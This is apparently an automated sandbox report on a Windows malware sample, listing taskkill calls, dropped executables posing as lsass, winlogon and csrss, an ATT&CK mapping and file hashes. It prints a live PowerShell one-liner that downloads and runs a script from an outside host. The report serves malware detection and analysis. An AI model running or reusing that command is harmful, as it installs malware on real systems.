    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM ╜ß╩°╔╛│².exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5548
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM ╩╡├√╦°╞┴.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4128
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM ╫╘╓·╕ⁿ╗╗╧╡═│.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1808
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM ╣╠╢¿╖■╬±.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4912
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM ╔╛│²╡╟╝╟╩╓╗·.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5968
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM ltserver.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3160
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM qd.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1016
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM ╚í╧√╫╘╞⌠╢».exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3652
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM RackCloudAgent.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2216
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM nssm.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5840
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM rack.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4820
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM iqi.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2564
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM systeme.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2152
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM 1x.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4840
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM ╜ß╩°╔╛│².exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5824
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM ╩╡├√╦°╞┴.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5552
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM ╫╘╓·╕ⁿ╗╗╧╡═│.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6140
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM ╣╠╢¿╖■╬±.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3144
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM ╔╛│²╡╟╝╟╩╓╗·.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3432

C:\Windows\svchost.exe
C:\Windows\svchost.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3244
- C:\Windows\svchost.exe
  C:\Windows\svchost.exe Win7
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:1984

C:\Windows\debug\m\lsass.exe
C:\Windows\debug\m\lsass.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4656
- C:\Windows\debug\m\winlogon.exe
  "winlogon.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:3180

C:\PerfLogs\Admin\1sass.exe
C:\PerfLogs\Admin\1sass.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5980
- C:\PerfLogs\Admin\csrss.exe
  "C:\PerfLogs\Admin\csrss.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.ydns.eu/power.txt')"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.ydns.eu/power.txt')
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:624

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

15v9SQ.exe

Path C:\PerfLogs\Admins15v9SQ\15v9SQ.exe
Size 4.2MB
SHA256 fd5de08a04d3f73315faeb02e7fbb2d32195144adba07a1a87c08ea205db5ffe
MD5 0d03595159feec24a711dd0c161cc9c2
SHA1 8e648576e2d34ec5a3073c260455b4a8502c07e3
SHA512 447ab08257a6dae8ecb6de64d5e0794f065347e0f6f00d9422de0438b8f6c6ff4af13503bfb57910bc2172995286d7fb47084eb0aa934b37c40fbc60a4ae22e2
SSDEEP 98304:Y/29GRlY/RLbv/mfsqKIwsE1oy6SmKQBIU/uaDXSi9RQGO0jhF8:Y/vRlYJLbnm0qObpeBIU/9fTOM8
TLSH
T1D61633179C95D085E841C9FC8762F5CB719B2FAC642015AAA04BFF5FBA3D338B245632
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MacTool.exe

Path C:\PerfLogs\Admins15v9SQ\MacTool.exe
Size 33KB
SHA256 07f52419a9654f88fee15c6c54901267aca1faa3f5794cfadfee31d0ba821310
MD5 ffefc637e771c15e6cb4d53b8c1d60bf
SHA1 38f70c63b9a657352c79b56271bc90167197439d
SHA512 b4c8309a968f429e3869226cdac6b7abd56352dc7df4c98e38d20ca6a9e03f3f4d77ef98fb7e4da8e62ef1b991c551201674fff3739a4ae74c4b39fb7f969fdc
SSDEEP 192:lDJ37SmoCf66Cpaldz+7ri97/7J6zNKi8NWZqyn01O5tfGDaRSGSOrQEiQb3jUzL:lVMCwkMrios8oyuotSOr9iqu6Ro
TLSH
T185E2C61F7EA5CA4BF41C62B0649BB366A2D0FE00DD91829F4726BB5D1B723C06C4ACC5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

81QO5HLQ.bat

Path C:\Users\Admin\AppData\Local\Temp\81QO5HLQ.bat
Size 2KB
SHA256 9cc17687b28addf4a7c145aed119afd4f34f19060efa4c49ac62599b6b35773d
MD5 a0d1a0485efe3700897943a4e18a2d7f
SHA1 b8f07169422dbc02d4fbc42aca22543292577f73
SHA512 fbb71e700eb4d9155258a2255e06c4b9347ad90ddc83fe79c3d81fc52d7ecd34bcdf854e226e6d9929c432d38074eb72b680f81c85a2a5ca194d4f019b055132
TLSH
T1E3414D43D876D1F0B0E235C547892F52924FF8FA3698179722A761BBB4A082D0A1FED5
MD5 SHA1 SHA512 TLSH

Submit Download

868M1YHI.bat

Path C:\Users\Admin\AppData\Local\Temp\868M1YHI.bat
Size 156B
SHA256 3bb4a3032a578240de5ada3b9a31284d0fc793893cf9c3ee9345e8ea8056e760
MD5 464641e9e9a92a1220c21b8a2031cf78
SHA1 c9291ae15144bf0184a5655050e5fd31cbc0621e
SHA512 94150270685e451df8b09d09c99539078f919f2e077dd512d70e5bc57ca947b61dd27cb324f1bfce4e9aa2225519288fe66e5f01e59ea3df1662842a8b8dbd25
TLSH
T1CFC08C2060089163E595BA50128A9202E776D2C7281293432C86302D5437048C27EBCA
MD5 SHA1 SHA512 TLSH

Submit Download

krnln.fnr

Path C:\Users\Admin\AppData\Local\Temp\E_4\krnln.fnr
Size 1.1MB
SHA256 820d8dd49baed0da44d42555ad361d78e068115661dce72ae6578dcdab6baead
MD5 97c8fe752e354b2945e4c593a87e4a8b
SHA1 03ab4c91535ecf14b13e0258f3a7be459a7957f9
SHA512 af4492c08d6659d21ebfefe752b0d71210d2542c1788f1d2d9f86a85f01c3dd05eebf61c925e18b5e870aec7e9794e4a7050a04f4c58d90dca93324485690bcc
SSDEEP 24576:lppSRv4SZpqC1Jh0Ske/d9KOYOjhvDeZJ:IBqyT9KwhLeZJ
TLSH
T182359D01BAAA40F5CB4D15B0097A773AA67C8E8A0B10CFE75F64FD583D32191AE3751E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

shell.fne

Path C:\Users\Admin\AppData\Local\Temp\E_4\shell.fne
Size 56KB
SHA256 0a6ae72df15cbca21c6af32bc2c13ca876e191008f1078228b3b98add9fc9d8d
MD5 d63851f89c7ad4615565ca300e8b8e27
SHA1 1c9a6c1ce94581f85be0e99e2d370384b959578f
SHA512 623e9e9beb5d2a9f3a6a75e5fac9dda5b437246fd3b10db4bba680f61bc68aae6714f11a12938b7d22b1c7691f45a75c4406ba06fa901da8ce05e784038970d2
SSDEEP 768:StxVWT/F9Te6mQoqvAqBAdVwhVGFj9oGIqF6J3W:StxUN9TeFZdGLG7oGIqY3W
TLSH
T1DD438B6270D344B7C68E027204864B3BAB3F65502FF246939F71E99A6F312E1D93B606
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

66.exe

Path C:\Users\Admin\AppData\Local\Temp\Temp\66.exe
Size 27KB
SHA256 b50433a5eb79a1df8dfc3960ad5b930ab40e9e4cc13a8b1451a64e7e38f40683
MD5 2dab9f0f02b52517e1c44b3809196a45
SHA1 18884c40f8152a121c60542ad63cfe9e62aa3a09
SHA512 eb8f4d2a0722e2b3b0c77b4142ab4e69e588df74609b394eb94da89d975d3cb91b366347c705d3af13c72ec1eb51ed1e7b74fd436f7096fe871351b04255be65
SSDEEP 384:d7/3P7U3vuJg85/ij7m+1IstwDCFeWuB3N+AKQMUvvEVoDfQ4H7g7XCpVYzlmtWu:tH7FJl5/ija+1I21wB3Ehri99Mm4laH
TLSH
T186C26C8AE7E2C0B0D065D9F86E71C158ABBF7A711835A0BEDADB98DD5CD8780481C317
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

77.exe

Path C:\Users\Admin\AppData\Local\Temp\Temp\77.exe
Size 29KB
SHA256 6aceb97b0cc804aacf178349921ff0343601f71e3732bfc71aacca49a46d65fe
MD5 6f8466cacb791108c6132dee4a5b85ef
SHA1 9036fa3f3ef359f9dbdc49798846ce9401619ee3
SHA512 0efb13bf05920b4e64996f371387bed56adef81a95efc6ae3c35c931519b59b154c979a5d104386d966058cabd93b99365b37f7690ff50699ea5462581972343
SSDEEP 768:dH7FJl5/ija+1I21wB3Ehri99Mm4laMlaiuu:dbFJiw5EM99DEZ
TLSH
T128D27C96EBE2C0B0D061D9F86E71C2189BBF7A701C35A0B9AADB98DD5DD8781181C317
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

v9.exe

Path C:\Users\Admin\AppData\Local\Temp\Temp\v9.exe
Size 4.2MB
SHA256 4c1338e6c9d010225fff1ef296648d3172f8549d76e0e5f01fa2bae52173b8c0
MD5 de50df422453a1a3128fb65910792f08
SHA1 1978a4ce59ff1b1dc3339ff6e7b10eaf8e86674c
SHA512 25d850e7d8692a84d420ef4be15820a6bdcec7b3e4c3ab6fc3977e2ab4df1587541b984c3ef3f14dd23c0fa61ae802d7a496498d634ffc645b0380d23daaf660
SSDEEP 98304:YmbvWxu586d0RgZoqJ2mo9yjPCm46bOBBoZIslYWsvD/D+donCYUV:786OsJJ5o90PCm4RPqIMQ7/A1Yc
TLSH
T14216333131C1C03AD5060139ECE9E776E87A7C358A361B8BF7990E391D35A56C72A36B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

v9new.exe

Path C:\Users\Admin\AppData\Local\Temp\Temp\v9new.exe
Size 4.1MB
SHA256 3b7098731d97db8e8171b92e6b3e885417a094a919a582a980dddb60d303b0bc
MD5 46cebde66fc776661043aa81b3866618
SHA1 91500dbbac000fc055c641fc9f87fec2fd026bd1
SHA512 f513f3a397e54fe4053733bf549796f34f8733fb702d67e2eb56bedc5168915caf24ca6f9fcf77d8e4e795a9a222880fbd770acb9ade226a0daf51c1d3dcd41a
SSDEEP 98304:y+1UD9fvp3EqP70Z0LrMe8TeDI5Vum9ITLm34Iql5mwvrB:yR5pBRPM7TeSomuB2OrB
TLSH
T14E1633F43C93DE90C5C106FA5A79B439429DDC9126E2CA8BF28DFA7163B0B655F81312
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

m.exe

Path C:\Users\Admin\AppData\Local\Temp\m.exe
Size 3.6MB
SHA256 c1b017fb4d80d2acaf8b8a0485049efafef9da3537b56f76da286ee74dba7e8d
MD5 6b098ca253e9f6d36ba455b9a9036bf4
SHA1 127a7823cf0822b1bac7487ff3e4ed11f837a654
SHA512 e420f91f4464b2584b33b5e6786a92a451823c0df201875ef7aaad7adfcabaa266ec8f8af2a04207d6d7d7bd3a6bea160a2fd1ebb0d352a3bdb479ceab245ef8
SSDEEP 98304:jmbvWxu586d0RgZoqJ2mo9yjPCm46bOBBoZIslYk:i86OsJJ5o90PCm4RPqIM/
TLSH
T10706333031C5C571E9071138E8E99762B47E78388A375F8AFB960E3D6D35A17C22A367
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

server.exe

Path C:\Users\Admin\AppData\Local\Temp\server.exe
Size 36KB
SHA256 281b29a807126e2d53f19807504f62ce4d71bb00b311c60a062acf0c35268a8e
MD5 c4abb714fa3c13bea0dc6e25f268441e
SHA1 5d498abd3e5ad5d0af42f57c5be480b4084e02d8
SHA512 910856d3a806d652bc3ed7578a1c136b242fb0b39d2dad0ec8e63f56f35c10342045d6e28d07e143ab6193aa88f585777c52ed9c8c683db11489e9216937833b
SSDEEP 768:12E7K3NdIin5Q5E9gWeLxF1Fch9t/zKP1mdFsiBH1mloeDr:m3bL5DgWeXchZjsg16oqr
TLSH
T19FF20A03E6C2D46AC05709B11A76D7BBD837BEF302046117B3D85FA60AF9691EB1621F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c1.bat

Path C:\Windows\debug\m\c1.bat
Size 867B
SHA256 0ab85d2da0f7a9b644d4b7a964a7b1728d1f9eb716b9abe2f1d9c611d7ee4617
MD5 9a412e42384f31ad8c61cbd32076603c
SHA1 7a1caef46f6c7549ab17d98f1328fff4673cacb2
SHA512 1d9d179db2a8901539f3a7fe6a91d58422cdb6a28dbf53e758e8745881a45304b0037227b9a4d1c04928d14b0014a1bb1c2e6eb53dfa43111eba6bf32da949c6
TLSH
T15511800E9CCB0BA1CF6157B5E16F3707F26FB1C696002E15B765505BD510462DB1211E
MD5 SHA1 SHA512 TLSH

Submit Download

config.json

Path C:\Windows\debug\m\config.json
Size 7KB
SHA256 221246a4e77cced090a2b0457cacf6af3c84dc83bd70d356f52e10bb5831e7b8
MD5 429b1f15938df7c6755e50d24f89e5bf
SHA1 8c81b4e692718a7d0f33afe07bd4dc78cbd1c2cd
SHA512 0626a407e3732bb25c3fa8cedca7f736bebbe05603c0db3d2d1ae8bceae78b7af7aaa4082671cf04a0d5aa00f2f0328690dc2d9a161ae47d76657467611037a6
SSDEEP 192:L0CgCtCEnTPnTfLnTlnT+nTSnTylnT9nTjnThnTn:LNTPTfLTlT+TSTylT9TjThTn
TLSH
T12CF1D565CA782CFA02A4906D4CEC5283465CC1076E993D78711CA99D2F0E73F71B3BDA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

csrss.exe

Path C:\Windows\debug\m\csrss.exe
Size 2.8MB
SHA256 1b019e434a871b799def0d148101719f889f49c5ef169291ea766705760f649a
MD5 fb0577a1c32ba19ade1f5cc23b755fe1
SHA1 ce0e8ea9dfccdb110facd4875c7fc80bc80849c0
SHA512 3ac21854633a71980de231c650a8e7c0712a2c6dba8507cfa523319ea6cdd746708a645ab65424f835f09788a60b246052ca730835fe55b92d663aea4146a580
SSDEEP 49152:X8M8BhZ3fVSkIrb/TKvO90d7HjmAFd4A64nsfJwroCCgXBVjrb/sD1UPkv4jC4UZ:7C3NrP7PRjC4i
TLSH
T1B9D58B47BC9094B9C9EA92318DB582917A30BC990F3177C33B50B6BA2E737D45E353A4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lsass.exe

Path C:\Windows\debug\m\lsass.exe
Size 323KB
SHA256 f689ee9af94b00e9e3f0bb072b34caaf207f32dcb4f5782fc9ca351df9a06c97
MD5 beceae2fdc4f7729a93e94ac2ccd78cc
SHA1 47c112c23c7bdf2af24a20bd512f91ff6af76bc6
SHA512 073f5ae0d4ffedb5edb3b92b8e19bea2c482a3ad7ab02ed71955d3e55aa44a297307fe4334d28c6f7683cb02d40b4313e560c9049507b16a8c5d6ee0a0f0071f
SSDEEP 6144:yejl5QCuDlXW4+DiErv2yKU9pclGrDkXNBe:vl5QCKdW4+DiNlXNBe
TLSH
T1F864705163E94664F1F77F30D87906226F377C859E38C24E0250966E2EB2B94EC78B63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

n.vbs

Path C:\Windows\debug\m\n.vbs
Size 211B
SHA256 cf8417cdc951eed2c10d424b312a0fbf222321e785e655548d9b054a2d87c273
MD5 c4258287aa2aa93135e6d1462b1cd58f
SHA1 16bdfae57a969931d2b7321dd48ec39dfbe8be14
SHA512 38c701c8f50d35dd8319755d65e74849150bc3402afe2994a0eea9209ffde193ca6301ff28ad4e8b5ddb4cdd916f9a0e7ef4ef7e4e9c8b82ae28a2a3e76d75ba
TLSH
T18DD02246AC9CDAB1A71304B248E7884FCA2840803631F610D8D8ECCDA360B710E266D2
MD5 SHA1 SHA512 TLSH

Submit Download

server.reg

Path C:\Windows\debug\m\server.reg
Size 272B
SHA256 f9f8291c7d3f5397e249aa6ec402ebc45d47cf455b25588970382048aa67b985
MD5 7c2301b0fa96dac6f800704acca36342
SHA1 d5733429c9acee4e452bae53499fa67309beb855
SHA512 f754c1b848ff6eef49d60096c3a79a9120ddde80d812be2b6b751745cd008c3f2ffd0c82de23852a9153258d43ef8de7e1e30f4598a557ff7809ae476a75922f
TLSH
T10DD05B391C21E5A7D3783255AF1BF62B6220735355CA454104F0DC517DC2C47D55F2AE
MD5 SHA1 SHA512 TLSH

Submit Download

server2.reg

Path C:\Windows\debug\m\server2.reg
Size 284B
SHA256 1b74416ba48010dad0467ce77f8d1044e75be2dd003a18cdad0d6f2112e3b565
MD5 41678ca725e5e2964ccfebde111d243a
SHA1 451890c89b9268a321831ae0ca17cf128c973c2a
SHA512 b916c1321f4073da734c31bd6a50f1abb95592a4782977f09d73b986b867a3599f348bfbd3641d204a1882f4e3e84be7eb7254d5e4049e45279088172ab8ddad
TLSH
T153D02B3C2D25C39FC3A832832F0BF66B6021328794CA454004E0C8507EE3D47C21F09A
MD5 SHA1 SHA512 TLSH

Submit Download

winlogon.exe

Path C:\Windows\debug\m\winlogon.exe
Size 5.1MB
SHA256 8d70b99cd76de4f8a019654bde6fc2c465d6340830d2b394177fba755440a6c2
MD5 bc59c52a71f212985286c1e27220b99f
SHA1 30cef45a02b599bef0ebe22c708274eb2d61f320
SHA512 dff3cc673e0cd7fbd18028029fa5e44ed0a4634502ac0bc5aa5819787900b05de07885f00f17a9188e74aeb07d60e55917fd19172eb93b14170258bdb3e8e41d
SSDEEP 98304:E93zHsk5RtuI9b+LmroN3r7qrn4YPBrhSkqCjNepZOyVA+Hs:OHs6rn4QBraCRe7RdH
TLSH
T1AA469D55B2A500E8C8BBC53CC64AAA17E7B2B8154370ABDF17B452A90F137D56E3FB10
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/624-130-0x0000024EDBCD0000-0x0000024EDBCF2000-memory.dmp

Download

memory/1332-52-0x0000000000400000-0x000000000040B000-memory.dmp

Download

memory/1332-79-0x0000000000400000-0x000000000040B000-memory.dmp

Download

memory/1332-74-0x00000000024A0000-0x00000000024B4000-memory.dmp

Download

memory/2808-127-0x0000000000400000-0x0000000000411000-memory.dmp

Download

memory/2808-131-0x0000000000400000-0x0000000000411000-memory.dmp

Download

memory/3180-126-0x0000025207D40000-0x0000025207D60000-memory.dmp

Download

memory/4104-66-0x0000000000400000-0x000000000041C000-memory.dmp

Download

memory/4240-41-0x0000000000400000-0x000000000041C000-memory.dmp

Download

memory/4240-19-0x0000000000400000-0x000000000041C000-memory.dmp

Download

memory/4596-117-0x0000000000400000-0x000000000040A000-memory.dmp

Download

memory/6104-95-0x0000000000400000-0x0000000000410000-memory.dmp

Download